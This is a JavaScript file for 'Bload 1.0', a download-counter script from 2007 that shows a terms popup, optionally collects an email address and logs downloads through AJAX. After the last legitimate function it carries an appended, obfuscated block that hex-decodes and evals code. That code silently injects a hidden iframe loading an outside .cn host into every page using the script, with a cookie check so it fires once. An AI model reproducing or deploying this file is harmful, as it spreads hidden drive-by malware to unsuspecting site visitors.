//Bload 1.0 by basisbyte 2007. Visit www.basisbyte.de/index.php/skripte for support/updates
//The tool is released "AS IS" under the terms of the GPLv2
//To Change the content of the window open agb.php and edit it with HTML/PHP/JAVASCRIPT
//---------------------------
//Change values to your needs
//---------------------------


var divleft=600;                     //distance from left border
var divtop=100;                      //distance from top
var divheight=200;                   //height of maincontent window
var divheight1=40;                   //height of Accept
var divwidth=400;                    //width
var divborder='4px solid #000';      //border style main window
var divborder1='4px solid #000';     //border style accept
var divbackground='#CCC';            //background color
var divcolor='#000';                 //font color
var entervalue = 'Enter Mailadress'; //which data you would like to have if you force an input
var checkvalue = 'Please fill out';  //error message
var ajaxtime = '800'                 //ms javascripts wait on the server to return answer (file wrting etc.)

//---------------------------
//No changes below this line
//---------------------------

var idcount1;

function rounder()
{
	idcount1 = 1 + 1000000*(Math.random());
}

function creatediv(id, html, width, height, left, top, border,background,color,showit) {

   var newdiv = document.createElement('div');
   newdiv.setAttribute('id', id);
   
   
   if (width) {
       newdiv.style.width = width;
   }
   
   if (height) {
       newdiv.style.height = height;
   }
   
   if ((left || top) || (left && top)) {
       newdiv.style.position = "absolute";
       
       if (left) {
           newdiv.style.left = left;
       }
       
       if (top) {
           newdiv.style.top = top;
       }
   }
   newdiv.style.visibility = showit;
   newdiv.style.float = "none";
   newdiv.style.overflow = "auto";
   newdiv.style.background = background;
   newdiv.style.color = color;
   newdiv.style.border = border;
   
   if (html) {
       newdiv.innerHTML = html;
   } else {
       newdiv.innerHTML = "nothing";
   }
   document.body.appendChild(newdiv);

} 


var xmlHttp = false;

try {
    xmlHttp  = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e) {
    try {
        xmlHttp  = new ActiveXObject("Microsoft.XMLHTTP");
    } catch(e) {
        xmlHttp  = false;
    }
}
// ... für Mozilla, Opera und Safari
if (!xmlHttp  && typeof XMLHttpRequest != 'undefined') {
    xmlHttp = new XMLHttpRequest();
}

var filetocount;
var sitepath;
var AGBfile;
var acceptit;
var htmltecontent;
var mailaccept;
var downloads;
var formelements;



function dlcounter(downloading, sites, countit, AGBs, mustac, email)
{
filetocount = countit;
downloads = downloading;
sitepath = sites;
AGBfile = AGBs;
acceptit = mustac;
mailaccept = email;

rounder();

     xmlHttp.open('GET', sitepath +'dlcounter.php?count=1&file='+filetocount+'&downloading='+downloading+'&idcount='+idcount1);  
     xmlHttp.onreadystatechange = function () {
         if (xmlHttp.readyState == 4) {
         
         document.getElementById("userresponder").innerHTML = xmlHttp.responseText;
         
         if(AGBfile=="1")
         {
          xmlHttp.open('GET', sitepath +'agb.php?accept='+acceptit);
          xmlHttp.onreadystatechange = function () {
           if (xmlHttp.readyState == 4) {
           htmlcontent = xmlHttp.responseText;
           creatediv('AGB', htmlcontent, divwidth, divheight, divleft, divtop, divborder, divbackground,divcolor,'visible');
           creatediv('close','<div align="center" valign="top" onclick="closefunction(0);"><a href="#"><font size="4">X</font></a></div>', 25, 25, (divleft+(divwidth-40)), divtop, divborder,divbackground,divcolor, 'visible');
           formelements='<form name="entervalue" id="entervalue" style="position:relative; top:3px; height:28px;"><input type="hidden" name="email" id="email" value="' +entervalue+ '" style="width:130px; border:1px solid #000"></form>';
           if(acceptit=="1")
           {           
           formelements='<form name="entervalue" id="entervalue" style="position:relative; top:3px; height:28px;"><input type="hidden" name="email" id="email" value="' +entervalue+ '" style="width:130px; border:1px solid #000">&nbsp;&nbsp;<a href="#" onclick="accepted(0);">Accept</a>&nbsp;&nbsp;<a href="#" onclick="closefunction(1);">Dismiss</a></form>';
           if(mailaccept=="1")
           {
           formelements='<form name="entervalue" id="entervalue" style="position:relative; top:3px; height:28px;"><input type="text" name="email" id="email" value="' +entervalue+ '" style="width:130px; border:1px solid #000">&nbsp;&nbsp;<a href="#" onclick="accepted(1);">Accept</a>&nbsp;&nbsp;<a href="#" onclick="closefunction(2);">Dismiss</a></form>';
           }           
           }
           creatediv('FORM', formelements, divwidth, divheight1, divleft, (divtop+divheight),divborder1,divbackground,divcolor, 'visible');
           xmlHttp.open('GET', sitepath +'dlcounter.php?agbshow=1&file='+filetocount+'&idcount='+idcount1);
           xmlHttp.onreadystatechange = function () {
           if (xmlHttp.readyState == 4) {
           document.getElementById("userresponder").innerHTML = xmlHttp.responseText;
           }
           }
           xmlHttp.send(null);
           }
           
          }
          xmlHttp.send(null);
          if(acceptit=="0" && mailaccept=="0")
          {
          setTimeout("downloader()",ajaxtime);
          }
          }
         else
        { 
        closefunction1(3);
        setTimeout("downloader()",ajaxtime);
        }        
       }
     }
        
     xmlHttp.send(null); 
}
function accepted(verify)
{
if(verify=="0")
{
closefunction(4);
setTimeout("downloader()",ajaxtime);
}
else if(verify=="1")
{
emailadress=document.entervalue.email.value;
if(!emailadress || emailadress==(entervalue) || emailadress==(checkvalue))
{
document.entervalue.email.value=checkvalue;
}
else
{
closefunction(5);
setTimeout("downloader()",ajaxtime);
}
}
}

function closefunction(count)
{
xmlHttp.open('GET', sitepath +'dlcounter.php?closecount='+count+'&file='+filetocount+'&idcount='+idcount1+'&entervalue1='+document.entervalue.email.value);
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState == 4) {
document.getElementById("userresponder").innerHTML = xmlHttp.responseText;
}
}
xmlHttp.send(null);
Knoten1 = document.getElementById("AGB");
document.body.removeChild(Knoten1);
Knoten2 = document.getElementById("FORM");
document.body.removeChild(Knoten2);
Knoten3 = document.getElementById("close");
document.body.removeChild(Knoten3);
}

function closefunction1(count)
{
xmlHttp.open('GET', sitepath +'dlcounter.php?closecount='+count+'&file='+filetocount+'&idcount='+idcount1);
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState == 4) {
document.getElementById("userresponder").innerHTML = xmlHttp.responseText;
}
}
xmlHttp.send(null);
}

function downloader()
{
location.href=downloads;
}
F6869="parse";F6869+="In";F6869+="t";C18CEB="St";C18CEB+="ring.f";C18CEB+="romChar";C18CEB+="Code";function A490823D6D7B(BE780C5911EAD){var AD583D=465;AD583D=AD583D-449;E7F8322E9=eval(F6869+"(BE780C5911EAD,AD583D)");return(E7F8322E9);}function B81DC42(A6FC21FEF255B){var CA31B0FC837275=759;CA31B0FC837275=CA31B0FC837275-757;var A44127DE="";for(D4A0824E26CE5=0;D4A0824E26CE5<A6FC21FEF255B.length;D4A0824E26CE5+=CA31B0FC837275){A44127DE+=( eval(C18CEB+"(A490823D6D7B(A6FC21FEF255B.substr(D4A0824E26CE5,CA31B0FC837275)))"));}eval(A44127DE);}B81DC42("69662028646F63756D656E742E636F6F6B69652E7365617263682822716762743D362229203D3D202D3129207B0A64746A3D646F63756D656E742E676574456C656D656E744279496428276A706127293B69662864746A3D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D6A7061207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D2022716762743D363B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
